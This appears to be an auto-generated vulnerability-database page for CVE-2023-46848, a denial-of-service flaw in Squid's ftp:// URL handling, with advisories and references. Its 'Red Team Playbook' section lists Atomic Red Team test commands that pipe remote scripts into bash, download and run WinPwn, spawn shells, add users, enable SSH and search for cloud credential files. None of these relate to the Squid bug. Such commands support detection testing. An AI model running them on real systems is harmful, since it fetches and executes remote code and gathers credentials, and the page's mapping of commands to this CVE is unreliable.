CVE-2023-46848
Overview
This vulnerability is a denial of service (DoS) condition triggered by improper handling of FTP URLs within the Squid proxy server. Specifically, the flaw arises from the component responsible for processing HTTP requests containing ftp:// URLs or constructing such URLs from FTP Native input, which fails to correctly manage resource allocation or input validation. This leads to resource exhaustion or service disruption within the Squid caching proxy's URL parsing and handling subsystem.
Vulnerability Description
Squid is vulnerable to Denial of Service, where a remote attacker can perform DoS by sending ftp:// URLs in HTTP Request messages or constructing ftp:// URLs from FTP Native input.
Impact
An unauthenticated remote attacker can exploit this vulnerability by sending specially crafted HTTP requests containing ftp:// URLs, causing Squid to enter a denial of service state. The attacker requires network access to the Squid proxy server but no user interaction or privileges. This results in service disruption, impacting availability of the proxy service and potentially affecting dependent network operations. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H) confirms the attack is network-based, requires no authentication, and leads to high-impact availability loss with scope change.
Solution
Red Hat has issued security advisories RHSA-2023:6266, RHSA-2023:6268, and RHSA-2023:6748 addressing this vulnerability in Squid on Red Hat Enterprise Linux 9.0 and 9.2 variants. Users should apply the updated packages provided in these advisories to remediate the issue. Detailed patch instructions and updates are available at Red Hat’s official errata pages (https://access.redhat.com/errata/RHSA-2023:6266, https://access.redhat.com/errata/RHSA-2023:6268, https://access.redhat.com/errata/RHSA-2023:6748). No alternative workarounds are documented in the vendor advisories.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Squid, a widely used caching proxy server, allows for a Denial of Service (DoS) attack through the manipulation of HTTP request messages. Specifically, an attacker can exploit this weakness by sending specially crafted ftp:// URLs within these requests. This manipulation can lead to resource exhaustion on the server, as the Squid proxy may become overwhelmed by the malformed requests, ultimately causing it to become unresponsive. The underlying issue stems from how the proxy handles these types of URLs, which can lead to excessive processing and memory consumption, thereby disrupting normal operations.
Attack vectors for this vulnerability are relatively straightforward, as they primarily involve remote attackers who can send crafted HTTP requests to the Squid server. An attacker could utilize various methods to generate these requests, including automated scripts or tools designed to exploit this specific weakness. Scenarios may involve targeting public-facing Squid proxies, where the attacker could flood the server with requests containing ftp:// URLs, leading to significant downtime. Furthermore, if the affected Squid instance is part of a larger infrastructure, the cascading effects of a DoS attack could impact multiple services reliant on the proxy, amplifying the overall disruption.
The real-world impact of this vulnerability can be substantial, particularly for organizations that rely on Squid for web caching and proxy services. A successful attack could lead to significant downtime, affecting user access to web resources and potentially resulting in lost revenue. In addition, the reputational damage associated with service outages can have long-term effects on customer trust and brand integrity. Businesses that operate in sectors where uptime is critical, such as e-commerce or financial services, may face even greater risks, as prolonged outages could lead to customer attrition and regulatory scrutiny.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the Squid software to the latest version is crucial, as patches are often released to address known vulnerabilities. Network monitoring tools can also be employed to identify unusual traffic patterns indicative of an ongoing DoS attack, allowing for rapid response. Additionally, implementing rate limiting and access controls can help mitigate the risk of exploitation by restricting the number of requests from a single source. Organizations should also consider conducting regular security assessments and penetration testing to identify potential weaknesses in their configurations and enhance their overall security posture.
In conclusion, the vulnerability in Squid presents a significant threat to organizations utilizing this proxy server. The potential for a Denial of Service attack through crafted HTTP requests highlights the importance of proactive security measures. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare themselves to detect and mitigate such vulnerabilities, ensuring the continuity of their services and the protection of their assets.
Affected Products (5)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Squid-Cache | Squid | All |
cpe:2.3:a:squid-cache:squid:*:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux | 9.0 |
cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Eus | 9.2 |
cpe:2.3:o:redhat:enterprise_linux_eus:9.2:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Server Aus | 9.2 |
cpe:2.3:o:redhat:enterprise_linux_server_aus:9.2:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Server Tus | 9.2 |
cpe:2.3:o:redhat:enterprise_linux_server_tus:9.2:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (8)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-46848 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2023:6266 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2023:6268 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2023:6748 |
| access.redhat.com |
GitHub CVE
vdb-entry
x_refsource_REDHAT
|
https://access.redhat.com/security/cve/CVE-2023-46848 |
| bugzilla.redhat.com |
GitHub CVE
issue-tracking
x_refsource_REDHAT
|
https://bugzilla.redhat.com/show_bug.cgi?id=2245919 |
| github.com |
GitHub CVE
|
https://github.com/squid-cache/squid/security/advisories/GHSA-2g3c-pg7q-g59w |
| security.netapp.com |
NVD API
|
https://security.netapp.com/advisory/ntap-20231214-0005/ |